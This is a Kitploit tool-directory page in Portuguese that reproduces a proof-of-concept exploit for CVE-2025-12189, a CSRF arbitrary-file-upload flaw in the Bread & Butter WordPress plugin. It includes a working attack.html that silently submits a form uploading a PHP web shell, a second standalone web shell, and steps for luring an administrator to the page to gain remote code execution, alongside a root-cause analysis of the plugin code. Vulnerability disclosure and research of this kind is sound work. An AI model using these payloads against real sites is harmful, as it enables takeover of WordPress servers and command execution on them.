Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-12189 — Bread & Butter: Bloqueie conteúdo + Capture leads + Colete dados de primeira parte + Nutra com agentes de IA <= 7.10.1321 - Cross-Site Request Forgery para Upload Arbitrário de Arquivos | Kitploit
Ferramentas/GitHubGitHub/d0n601/cve-2025-12189
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubd0n601/cve-2025-12189

CVE-2025-12189

Bread & Butter: Bloqueie conteúdo + Capture leads + Colete dados de primeira parte + Nutra com agentes de IA <= 7.10.1321 - Cross-Site Request Forgery para Upload Arbitrário de Arquivos

Ver Repositório
13há 0 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Bread & Butter: Gate content + Capture leads + Collect first-party data + Nurture with Ai agents <= 7.10.1321 - Cross-Site Request Forgery para Upload Arbitrário de Arquivos

O plugin Bread & Butter IO contém uma vulnerabilidade na sua funcionalidade de upload de imagens que permite que qualquer atacante engane administradores autenticados para que façam upload de arquivos arbitrários para o servidor, incluindo web shells PHP, resultando em Execução Remota de Código (RCE). A vulnerabilidade decorre da função uploadImage() não possuir proteção CSRF, permitindo que atacantes criem requisições maliciosas que os navegadores dos administradores executam automaticamente.

A vulnerabilidade existe na função uploadImage() em /bread-butter/src/Base/Ajax.php, que carece de validação adequada de arquivos e proteção CSRF, além de usar file_put_contents() para escrever arquivos diretamente no diretório de uploads do WordPress antes de qualquer verificação de segurança.

Exploits em Resumo

  • Um POC attack.html é fornecido abaixo para demonstrar a exploração de upload de arquivos baseada em CSRF.
  • Um exemplo mais realista também é fornecido em email-lure.html

Aqui está o attack.html simples:

<!DOCTYPE html>
<html>
<body>
    <button onclick="exploit()">CSRF Attack</button>
    <script>
        function exploit() {
            const form = document.createElement('form');
            form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
            form.method = 'POST';
            form.enctype = 'multipart/form-data';
            form.target = '_blank';
            form.style.display = 'none';
            
            // Action field
            const action = document.createElement('input');
            action.name = 'action';
            action.value = 'upload_image';
            form.appendChild(action);
            
            // File field
            const file = document.createElement('input');
            file.type = 'file';
            file.name = 'file';
            const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
            const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
            const dt = new DataTransfer();
            dt.items.add(phpFile);
            file.files = dt.files;
            form.appendChild(file);
            
            document.body.appendChild(form);
            form.submit();
        }
    </script>
</body>
</html>

Para um POC, você pode executá-lo localmente com algo como:

# Serve o exploit CSRF
python3 -m http.server 1337

# Visite: http://localhost:1337/attack.html
# Clique no botão "CSRF Attack"
# Verifique a nova aba para a resposta do WordPress
# Teste o shell enviado: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami

Uma vez logado como administrador no navegador da vítima, clicar no link leva à RCE.

Detalhes da Vulnerabilidade

Análise da Causa Raiz

A vulnerabilidade existe na função uploadImage() na linha 411 de /bread-butter/src/Base/Ajax.php:

public function uploadImage() {
    $this->checkAdmin();                   
    $file = $_FILES['file'];               

    $type = $file['type'];                 
    $name = $file['name'];                
    $image_url = $file['tmp_name'];        

    $upload_dir = wp_upload_dir();         
    $image_data = file_get_contents($image_url);
    $filename = basename($name); 

    
    if (wp_mkdir_p($upload_dir['path'])) {
        $file = $upload_dir['path'] . '/' . $filename;    
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }

    file_put_contents($file, $image_data);  // O atacante faz o arquivo ser movido para armazenamento acessível!

    // Pós-processamento do upload (após a vulnerabilidade ser explorada)
    $wp_filetype = wp_check_filetype($filename, null); 
    // ... resto da função
}

Registro do Manipulador AJAX

A função vulnerável é registrada como um manipulador AJAX do WordPress na linha 95:

add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));

Onde self::$uploadImage é definido como upload_image na linha 37.

Verificação de Autorização

O único controle de segurança é o método checkAdmin() nas linhas 166-171:

public function checkAdmin() {
    if (!current_user_can('manage_options')) {
        echo 0;
        wp_die();
    }
}

Exploração via CSRF

A falta de proteção CSRF torna esta vulnerabilidade explorável por meio de ataques de Cross-Site Request Forgery. O POC attack.html demonstra isso ao:

  1. Criar um formulário malicioso que tem como alvo o endpoint AJAX do WordPress
  2. Usar target="_blank" para contornar as restrições de CORS
  3. Incorporar um web shell PHP diretamente no HTML/JavaScript
  4. Enviar automaticamente o formulário quando a vítima clica no botão

Reprodução Manual

Exploração de CSRF para RCE

  1. Crie uma página HTML com o payload CSRF (veja attack.html)
  2. Sirva a página em qualquer servidor web (controlado pelo atacante)
  3. Engane um administrador para que visite a página maliciosa
  4. O navegador do administrador enviará automaticamente o formulário
  5. O arquivo malicioso será enviado para o site WordPress dele
  6. Acesse o shell enviado em /wp-content/uploads/[year]/[month]/test.php?cmd=whoami

Exploração Direta (Requer Administrador)

  1. Faça login no painel administrativo do WordPress com privilégios de administrador
  2. Navegue até as configurações do plugin Bread & Butter
  3. Use a funcionalidade de upload de imagens ou envie uma requisição AJAX direta para /wp-admin/admin-ajax.php
  4. Envie um arquivo PHP com conteúdo malicioso:
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
} else {
    echo "Shell ready. Use ?cmd=command";
}
?>
  1. Acesse o arquivo enviado em /wp-content/uploads/[year]/[month]/[filename].php
Baixar ferramenta